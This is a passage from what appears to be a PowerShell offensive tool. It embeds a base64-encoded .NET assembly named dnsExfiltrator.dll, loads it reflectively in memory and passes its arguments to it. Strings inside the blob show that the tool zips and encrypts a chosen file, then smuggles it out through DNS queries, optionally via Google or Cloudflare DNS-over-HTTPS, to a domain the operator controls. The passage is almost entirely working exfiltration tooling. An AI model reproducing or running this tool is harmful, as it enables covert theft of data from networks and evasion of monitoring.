NVUxUSUxBQkVMAEROU19RVUVSWV9SRVNFUlZFRABETlNfVFlQRV9BAEROU19UWVBFX05TAEROU19UWVBFX01EAEROU19UWVBFX01GAEROU19UWVBFX0NOQU1FAEROU19UWVBFX1NPQQBETlNfVFlQRV9NQgBETlNfVFlQRV9NRwBETlNfVFlQRV9NUgBETlNfVFlQRV9OVUxMAEROU19UWVBFX1dLUwBETlNfVFlQRV9QVFIARE5TX1RZUEVfSElORk8ARE5TX1RZUEVfTUlORk8ARE5TX1RZUEVfTVgARE5TX1RZUEVfVEVYVABETlNfVFlQRV9UWFQARE5TX1RZUEVfUlAARE5TX1RZUEVfQUZTREIARE5TX1RZUEVfWDI1AEROU19UWVBFX0lTRE4ARE5TX1RZUEVfUlQARE5TX1RZUEVfTlNBUABETlNfVFlQRV9OU0FQUFRSAEROU19UWVBFX1NJRwBETlNfVFlQRV9LRVkARE5TX1RZUEVfUFgARE5TX1RZUEVfR1BPUwBETlNfVFlQRV9BQUFBAEROU19UWVBFX0xPQwBETlNfVFlQRV9OWFQARE5TX1RZUEVfRUlEAEROU19UWVBFX05JTUxPQwBETlNfVFlQRV9TUlYARE5TX1RZUEVfQVRNQQBETlNfVFlQRV9OQVBUUgBETlNfVFlQRV9LWABETlNfVFlQRV9DRVJUAEROU19UWVBFX0E2AEROU19UWVBFX0ROQU1FAEROU19UWVBFX1NJTksARE5TX1RZUEVfT1BUAEROU19UWVBFX0RTAEROU19UWVBFX1JSU0lHAEROU19UWVBFX05TRUMARE5TX1RZUEVfRE5TS0VZAEROU19UWVBFX0RIQ0lEAEROU19UWVBFX1VJTkZPAEROU19UWVBFX1VJRABETlNfVFlQRV9HSUQARE5TX1RZUEVfVU5TUEVDAEROU19UWVBFX0FERFJTAEROU19UWVBFX1RLRVkARE5TX1RZUEVfVFNJRwBETlNfVFlQRV9JWEZSAEROU19UWVBFX0FGWFIARE5TX1RZUEVfTUFJTEIARE5TX1RZUEVfTUFJTEEARE5TX1RZUEVfQUxMAEROU19UWVBFX0FOWQBETlNfVFlQRV9XSU5TAEROU19UWVBFX1dJTlNSAEROU19UWVBFX05CU1RBVABJbkJ5dGVTaXplAE91dEJ5dGVTaXplAEJhc2UzMkFscGhhYmV0AFRvQmFzZTMyU3RyaW5nAHRleHQAYXJncwBrZXkAcwBpAGoAdmFsdWUAZG9oUHJvdmlkZXIAZG9tYWluAHBzek5hbWUAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAG9wdGlvbnMAZG5zU2VydmVySXBBcnJheQBwcFF1ZXJ5UmVzdWx0cwBwUmVzZXJ2ZWQAcFJlY29yZExpc3QARnJlZVR5cGUAc2VydmVySVAAYnl0ZXMAU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zAFNlY3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAZG5zRXhmaWx0cmF0b3IAQ29tVmlzaWJsZUF0dHJpYnV0ZQBDb25zb2xlAFdyaXRlTGluZQBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0ZyaWVuZGx5TmFtZQBTdHJpbmcAU3RhcnRzV2l0aABDb25zb2xlQ29sb3IAc2V0X0ZvcmVncm91bmRDb2xvcgBFbXB0eQBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAFJlcGxhY2UAQ2hhcgBTcGxpdABTeXN0ZW0uSU8AUGF0aABHZXRGaWxlTmFtZQBGaWxlAEV4aXN0cwBGb3JtYXQASW50MzIAPFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+ezNDMUY0MDEwLTEzMjEtNDY5QS1CQzI1LUJGREU1RUM1REE0OH0AQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAX19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xNgAkJG1ldGhvZDB4NjAwMDAwNy0xAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhhbmRsZQBJbml0aWFsaXplQXJyYXkAU3lzdGVtLkNvcmUAU3lzdGVtLkxpbnEARW51bWVyYWJsZQBDb250YWlucwBUb0ludDMyAEVxdWFscwBvcF9FcXVhbGl0eQBNZW1vcnlTdHJlYW0AU3lzdGVtLklPLkNvbXByZXNzaW9uAFppcEFyY2hpdmUAU3RyZWFtAFppcEFyY2hpdmVNb2RlAFppcEFyY2hpdmVFbnRyeQBDcmVhdGVFbnRyeQBPcGVuAEJpbmFyeVdyaXRlcgBSZWFkQWxsQnl0ZXMAV3JpdGUASURpc3Bvc2FibGUARGlzcG9zZQBTZWVrT3JpZ2luAFNlZWsAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X1VURjgAR2V0Qnl0ZXMAVG9BcnJheQBnZXRfTGVuZ3RoAENvbmNhdABvcF9JbmVxdWFsaXR5AGdldF9DaGFycwBFeGNlcHRpb24AZ2V0X01lc3NhZ2UATWF0aABNaW4AU3Vic3RyaW5nAFRvU3RyaW5nAFN5c3RlbS5UaHJlYWRpbmcAVGhyZWFkAFNsZWVwAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgA8RW5jcnlwdEluaXRhbGl6ZT5iX18wAEZ1bmNgMgBDUyQ8PjlfX0NhY2hlZEFub255bW91c01ldGhvZERlbGVnYXRlMQBSYW5nZQBTZWxlY3QAPD5jX19EaXNwbGF5Q2xhc3MzADxFbmNyeXB0T3V0cHV0PmJfXzIAYgBTeXN0ZW0uTmV0AFdlYkNsaWVudABXZWJSZXF1ZXN0AElXZWJQcm94eQBnZXRfRGVmYXVsdFdlYlByb3h5AENyZWRlbnRpYWxDYWNoZQBJQ3JlZGVudGlhbHMAZ2V0X0RlZmF1bHRDcmVkZW50aWFscwBzZXRfQ3JlZGVudGlhbHMAc2V0X1Byb3h5AERvd25sb2FkU3RyaW5nAFN5c3RlbS5XZWIuRXh0ZW5zaW9ucwBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJpYWxpemF0aW9uAEphdmFTY3JpcHRTZXJpYWxpemVyAERlc2VyaWFsaXplAGdldF9Db3VudABnZXRfSXRlbQAuY2N0b3IARGxsSW1wb3J0QXR0cmlidXRlAGRuc2FwaQBEbnNRdWVyeV9XAEludFB0cgBaZXJvAElQQWRkcmVzcwBQYXJzZQBHZXRBZGRyZXNzQnl0ZXMAQml0Q29udmVydGVyAFRvVUludDMyAFVJbnQzMgBTZXRWYWx1ZQBFbnZpcm9ubWVudABPcGVyYXRpbmdTeXN0ZW0AZ2V0X09TVmVyc2lvbgBQbGF0Zm9ybUlEAGdldF9QbGF0Zm9ybQBOb3RTdXBwb3J0ZWRFeGNlcHRpb24AU3lzdGVtLkNvbGxlY3Rpb25zAEFycmF5TGlzdABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAUHRyVG9TdHJ1Y3R1cmUAUHRyVG9TdHJpbmdBdXRvAEFkZABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABGbGFnc0F0dHJpYnV0ZQBTdHJpbmdCdWlsZGVyAEFwcGVuZABTeXN0ZW0uU2VjdXJpdHkAVW52ZXJpZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAA1VAHMAYQBnAGUAOgAAgRd7ADAAfQAgADwAZgBpAGwAZQA+ACAAPABkAG8AbQBhAGkAbgBOAGEAbQBlAD4AIAA8AHAAYQBzAHMAdwBvAHIAZAA+ACAAWwAtAGIAMwAyAF0AIABbAGgAPQBnAG8AbwBnAGwAZQB8AGMAbABvAHUAZABmAGwAYQByAGUAXQAgAFsAcwA9ADwARABOAFMAXwBzAGUAcgB2AGUAcgA+AF0AIABbAHQAPQA8AHQAaAByAG8AdAB0AGwAZQBUAGkAbQBlAD4AXQAgAFsAcgA9ADwAcgBlAHEAdQBlAHMAdABNAGEAeABTAGkAegBlAD4AXQAgAFsAbAA9ADwAbABhAGIAZQBsAE0AYQB4AFMAaQB6AGUAPgBdAAGAgQkAZgBpAGwAZQA6AAkACQBbAE0AQQBOAEQAQQBUAE8AUgBZAF0AIABUAGgAZQAgAGYAaQBsAGUAIABuAGEAbQBlACAAdABvACAAdABoAGUAIABmAGkAbABlACAAdABvACAAYgBlACAAZQB4AGYAaQBsAHQAcgBhAHQAZQBkAC4AAICDCQBkAG8AbQBhAGkAbgBOAGEAbQBlADoACQBbAE0AQQBOAEQAQQBUAE8AUgBZAF0AIABUAGgAZQAgAGQAbwBtAGEAaQBuACAAbgBhAG0AZQAgAHQAbwAgAHUAcwBlACAAZgBvAHIAIABEAE4AUwAgAHIAZQBxAHUAZQBzAHQAcwAuAACAlwkAcABhAHMAcwB3AG8AcgBkADoACQBbAE0AQQBOAEQAQQBUAE8AUgBZAF0AIABQAGEAcwBzAHcAbwByAGQAIAB1AHMAZQBkACAAdABvACAAZQBuAGMAcgB5AHAAdAAgAHQAaABlACAAZABhAHQAYQAgAHQAbwAgAGIAZQAgAGUAeABmAGkAbAB0AHIAYQB0AGUAZAAuAACAzQkALQBiADMAMgA6AAkACQBbAE8AUABUAEkATwBOAE4AQQBMAF0AIABVAHMAZQAgAGIAYQBzAGUAMwAyACAAZQBuAGMAbwBkAGkAbgBnACAAbwBmACAAZABhAHQAYQAuACAATQBpAGcAaAB0ACAAYgBlACAAcgBlAHEAdQBpAHIAZQBkACAAYgB5ACAAYQBzACAAcwBvAG0AZQAgAEQATgBTACAAcgBlAHMAbwBsAHYAZQByACAAYgByAGUAYQBrACAAYwBhAHMAZQAuAAGAjQkAaAA6AAkACQBbAE8AUABUAEkATwBOAE4AQQBMAF0AIABVAHMAZQAgAEcAbwBvAGcAbABlACAAbwByACAAQwBsAG8AdQBkAEYAbABhAHIAZQAgAEQAbwBIACAAKABEAE4AUwAgAG8AdgBlAHIAIABIAFQAVABQACkAIABzAGUAcgB2AGUAcgBzAC4AAIDPCQBEAE4AUwBfAFMAZQByAHYAZQByADoACQBbAE8AUABUAEkATwBOAE4AQQBMAF0AIABUAGgAZQAgAEQATgBTACAAcwBlAHIAdgBlAHIAIABuAGEAbQBlACAAbwByACAASQBQACAAdABvACAAdQBzAGUAIABmAG8AcgAgAEQATgBTACAAcgBlAHEAdQBlAHMAdABzAC4AIABEAGUAZgBhAHUAbAB0AHMAIAB0AG8AIAB0AGgAZQAgAHMAeQBzAHQAZQBtACAAbwBuAGUALgAAgKsJAHQAaAByAG8AdAB0AGwAZQBUAGkAbQBlADoACQBbAE8AUABUAEkATwBOAE4AQQBMAF0AIABUAGgAZQAgAHQAaQBtAGUAIABpAG4AIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgAHQAbwAgAHcAYQBpAHQAIABiAGUAdAB3AGUAZQBuACAAZQBhAGMAaAAgAEQATgBTACAAcgBlAHEAdQBlAHMAdAAuAACAxwkAcgBlAHEAdQBlAHMAdABNAGEAeABTAGkAegBlADoACQBbAE8AUABUAEkATwBOAE4AQQBMAF0AIABUAGgAZQAgAG0AYQB4AGkAbQB1AG0AIABzAGkAegBlACAAaQBuACAAYgB5AHQAZQBzACAAZgBvAHIAIABlAGEAYwBoACAARABOAFMAIAByAGUAcQB1AGUAcwB0AC4AIABEAGUAZgBhAHUAbAB0AHMAIAB0AG8AIAAyADUANQAgAGIAeQB0AGUAcwAuAACA5QkAbABhAGIAZQBsAE0AYQB4AFMAaQB6AGUAOgAJAFsATwBQAFQASQBPAE4ATgBBAEwAXQAgAFQAaABlACAAbQBhAHgAaQBtAHUAbQAgAHMAaQB6AGUAIABpAG4AIABjAGgAYQByAHMAIABmAG8AcgAgAGUAYQBjAGgAIABEAE4AUwAgAHIAZQBxAHUAZQBzAHQAIABsAGEAYgBlAGwAIAAoAHMAdQBiAGQAbwBtAGEAaQBuACkALgAgAEQAZQBmAGEAdQBsAHQAcwAgAHQAbwAgADYAMwAgAGMAaABhAHIAcwAuAAAHWwAhAF0AAAdbACsAXQAAB1sAKgBdAAADPQAAAQADLwAAA18AAAMrAAADLQABK1sAIQBdACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdABzAAAvWwAhAF0AIABGAGkAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAOgAgAHsAMAB9AAAFcwA9AABDWwAqAF0AIABXAG8AcgBrAGkAbgBnACAAdwBpAHQAaAAgAEQATgBTACAAcwBlAHIAdgBlAHIAIABbAHsAMAB9AF0AAAV0AD0AAEtbACoAXQAgAFMAZQB0AHQAaQBuAGcAIAB0AGgAcgBvAHQAdABsAGUAIAB0AGkAbQBlACAAdABvACAAWwB7ADAAfQBdACAAbQBzAAAFcgA9AABfWwAqAF0AIABTAGUAdAB0AGkAbgBnACAARABOAFMAIAByAGUAcQB1AGUAcwB0ACAAbQBhAHgAIABzAGkAegBlACAAdABvACAAWwB7ADAAfQBdACAAYgB5AHQAZQBzAAAFbAA9AABTWwAqAF0AIABTAGUAdAB0AGkAbgBnACAAbABhAGIAZQBsACAAbQBhAHgAIABzAGkAegBlACAAdABvACAAWwB7ADAAfQBdACAAYwBoAGEAcgBzAAAFaAA9AAANZwBvAG8AZwBsAGUAABVjAGwAbwB1AGQAZgBsAGEAcgBlAABZWwAqAF0AIABVAHMAaQBuAGcAIABEAE4AUwAgAG8AdgBlAHIAIABIAFQAVABQACAAZgBvAHIAIABuAGEAbQBlACAAcgBlAHMAbwBsAHUAdABpAG8AbgAuAAA7WwAhAF0AIABFAHIAcgBvAHIAIAB3AGkAdABoACAARABvAEgAIABwAGEAcgBhAG0AZQB0AGUAcgAuAAAJLQBiADMAMgABXVsAKgBdACAAQwBvAG0AcAByAGUAcwBzAGkAbgBnACAAKABaAEkAUAApACAAdABoAGUAIABbAHsAMAB9AF0AIABmAGkAbABlACAAaQBuACAAbQBlAG0AbwByAHkAAF9bACoAXQAgAEUAbgBjAHIAeQBwAHQAaQBuAGcAIAB0AGgAZQAgAFoASQBQACAAZgBpAGwAZQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAIABbAHsAMAB9AF0AAENbACoAXQAgAEUAbgBjAG8AZABpAG4AZwAgAHQAaABlACAAZABhAHQAYQAgAHcAaQB0AGgAIABCAGEAcwBlADMAMgAASVsAKgBdACAARQBuAGMAbwBkAGkAbgBnACAAdABoAGUAIABkAGEAdABhACAAdwBpAHQAaAAgAEIAYQBzAGUANgA0AFUAUgBMAABrWwAqAF0AIABUAG8AdABhAGwAIABzAGkAegBlACAAbwBmACAAZABhAHQAYQAgAHQAbwAgAGIAZQAgAHQAcgBhAG4AcwBtAGkAdAB0AGUAZAA6ACAAWwB7ADAAfQBdACAAYgB5AHQAZQBzAACAlVsAKwBdACAATQBhAHgAaQBtAHUAbQAgAGQAYQB0AGEAIABlAHgAZgBpAGwAdAByAGEAdABlAGQAIABwAGUAcgAgAEQATgBTACAAcgBlAHEAdQBlAHMAdAAgACgAYwBoAHUAbgBrACAAbQBhAHgAIABzAGkAegBlACkAOgAgAFsAewAwAH0AXQAgAGIAeQB0AGUAcwAAN1sAKwBdACAATgB1AG0AYgBlAHIAIABvAGYAIABjAGgAdQBuAGsAcwA6ACAAWwB7ADAAfQBdAAALaQBuAGkAdAAuAAAPewAwAH0AfAB7ADEAfQAAES4AYgBhAHMAZQAzADIALgAAES4AYgBhAHMAZQA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAADsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
[System.Reflection.Assembly]::Load($DNSExfiltratorLib) | Out-Null
# Prepare arguments
$Args = [System.Collections.ArrayList]@()
$Args.Add($InputFile) | Out-Null
$Args.Add($DomainName) | Out-Null
$Args.Add($Password) | Out-Null
if ($UseBase32) {
$Args.Add("-b32") | Out-Null
}
if ($DoHProvider) {
$Args.Add("h=$DoHProvider") | Out-Null
}
if ($DNSServer) {
$Args.Add("s=$DNSServer") | Out-Null
}
if ($ThrottleTime) {
$Args.Add("t=$ThrottleTime") | Out-Null
}
if ($RequestMaxSize) {
$Args.Add("r=$RequestMaxSize") | Out-Null
}
if ($LabelMaxSize) {
$Args.Add("l=$LabelMaxSize") | Out-Null
}
# Invoke the Main entry point
[DNSExfiltrator.DNSExfiltrator]::Main($Args)
}